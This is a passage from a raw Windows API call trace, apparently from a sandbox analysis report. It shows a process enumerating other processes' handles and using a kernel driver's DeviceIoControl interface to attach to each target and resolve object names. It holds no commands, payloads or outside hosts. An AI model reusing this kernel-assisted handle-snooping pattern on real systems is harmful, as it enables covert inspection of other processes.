(Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.438] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.438] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.438] GetCurrentProcess () returned 0xffffffffffffffff [0110.438] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x7c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.438] CloseHandle (hObject=0xc4) returned 1 [0110.438] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.438] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.438] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.438] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.438] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0110.438] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.438] PsAcquireProcessExitSynchronization () returned 0x0 [0110.438] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.438] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038bd450, HandleInformation=0x0) returned 0x0 [0110.439] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.439] PsReleaseProcessExitSynchronization () returned 0x2 [0110.439] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.439] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.439] ObfDereferenceObject (Object=0xfffffa80038bd450) returned 0x4 [0110.439] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.439] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.439] CloseHandle (hObject=0xc0) returned 1 [0110.439] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.439] GetCurrentProcess () returned 0xffffffffffffffff [0110.439] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x78, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.439] CloseHandle (hObject=0xc0) returned 1 [0110.439] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.439] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x70) returned 0x294d20 [0110.439] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.439] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.439] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.439] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.439] PsAcquireProcessExitSynchronization () returned 0x0 [0110.439] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.439] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0030e9aa0, HandleInformation=0x0) returned 0x0 [0110.439] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.439] PsReleaseProcessExitSynchronization () returned 0x2 [0110.439] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.439] ObQueryNameString (in: Object=0xfffff8a0030e9aa0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.439] ObfDereferenceObject (Object=0xfffff8a0030e9aa0) returned 0x2 [0110.439] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.439] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.439] CloseHandle (hObject=0xc4) returned 1 [0110.439] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.440] GetCurrentProcess () returned 0xffffffffffffffff [0110.440] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.440] CloseHandle (hObject=0xc4) returned 1 [0110.440] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.440] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.440] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.440] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.440] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.440] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.440] PsAcquireProcessExitSynchronization () returned 0x0 [0110.440] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.440] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800c9fbca0, HandleInformation=0x0) returned 0x0 [0110.440] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.440] PsReleaseProcessExitSynchronization () returned 0x2 [0110.440] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.440] ObQueryNameString (in: Object=0xfffffa800c9fbca0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.440] ObfDereferenceObject (Object=0xfffffa800c9fbca0) returned 0x2 [0110.440] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.440] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.440] CloseHandle (hObject=0xc0) returned 1 [0110.440] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.440] GetCurrentProcess () returned 0xffffffffffffffff [0110.440] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.440] CloseHandle (hObject=0xc0) returned 1 [0110.440] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.440] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x294d20 [0110.440] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.440] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.440] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0110.440] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.440] PsAcquireProcessExitSynchronization () returned 0x0 [0110.441] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.441] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0110.441] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.441] PsReleaseProcessExitSynchronization () returned 0x2 [0110.441] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.441] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.441] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0xfd [0110.441] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.441] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.441] CloseHandle (hObject=0xc4) returned 1 [0110.441] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.441] GetCurrentProcess () returned 0xffffffffffffffff [0110.441] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.441] CloseHandle (hObject=0xc4) returned 1 [0110.441] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.441] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.441] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.441] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.441] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0110.441] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.441] PsAcquireProcessExitSynchronization () returned 0x0 [0110.441] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.441] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0110.441] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.441] PsReleaseProcessExitSynchronization () returned 0x2 [0110.441] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.441] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.441] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x491 [0110.441] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.441] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.441] CloseHandle (hObject=0xc0) returned 1 [0110.442] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.442] GetCurrentProcess () returned 0xffffffffffffffff [0110.442] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.442] CloseHandle (hObject=0xc0) returned 1 [0110.442] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x80) returned 0x2acc20 [0110.442] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x2acc20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x2acc20, ReturnLength=0x0) returned 0x0 [0110.442] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0110.442] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.442] PsAcquireProcessExitSynchronization () returned 0x0 [0110.442] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.442] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0110.442] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.442] PsReleaseProcessExitSynchronization () returned 0x2 [0110.442] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.442] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.442] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x8f [0110.442] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.442] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.442] CloseHandle (hObject=0xc4) returned 1 [0110.442] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xefc) returned 0xc4 [0110.442] GetCurrentProcess () returned 0xffffffffffffffff [0110.442] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.442] CloseHandle (hObject=0xc4) returned 1 [0110.442] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x80) returned 0x2acc20 [0110.442] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x2acc20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x2acc20, ReturnLength=0x0) returned 0x0 [0110.442] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.443] PsLookupProcessByProcessId (in: ProcessId=0xefc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.443] PsAcquireProcessExitSynchronization () returned 0x0 [0110.443] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880055905d0) [0110.443] ObReferenceObjectByHandle (in: Handle=0x34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002916fe0, HandleInformation=0x0) returned 0x0 [0110.443] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.443] PsReleaseProcessExitSynchronization () returned 0x2 [0110.443] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xb [0110.443] ObQueryNameString (in: Object=0xfffffa8002916fe0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.443] ObfDereferenceObject (Object=0xfffffa8002916fe0) returned 0x2 [0110.443] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.443] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.443] CloseHandle (hObject=0xc0) returned 1 [0110.443] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xef4) returned 0xc0 [0110.443] GetCurrentProcess () returned 0xffffffffffffffff [0110.443] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x98, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.443] CloseHandle (hObject=0xc0) returned 1 [0110.443] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.443] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.443] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.443] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.443] NtQueryInformationProcess (in: ProcessHandle=0xc4, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0110.443] CloseHandle (hObject=0xc4) returned 1 [0110.443] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xed4) returned 0xc4 [0110.443] GetCurrentProcess () returned 0xffffffffffffffff [0110.443] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.443] CloseHandle (hObject=0xc4) returned 1 [0110.443] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.443] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.443] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.443] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.443] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.444] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.444] PsAcquireProcessExitSynchronization () returned 0x0 [0110.444] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880055905d0) [0110.444] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0110.444] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.444] PsReleaseProcessExitSynchronization () returned 0x2 [0110.444] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x21 [0110.444] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.444] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0110.444] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.444] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.444] CloseHandle (hObject=0xc0) returned 1 [0110.444] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0110.444] GetCurrentProcess () returned 0xffffffffffffffff [0110.444] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.444] CloseHandle (hObject=0xc0) returned 1 [0110.444] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.444] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.444] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.444] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.444] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.444] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.444] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.444] PsAcquireProcessExitSynchronization () returned 0x0 [0110.444] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0110.444] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0110.444] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.444] PsReleaseProcessExitSynchronization () returned 0x2 [0110.444] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0110.444] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8003913044, Length=0x800, 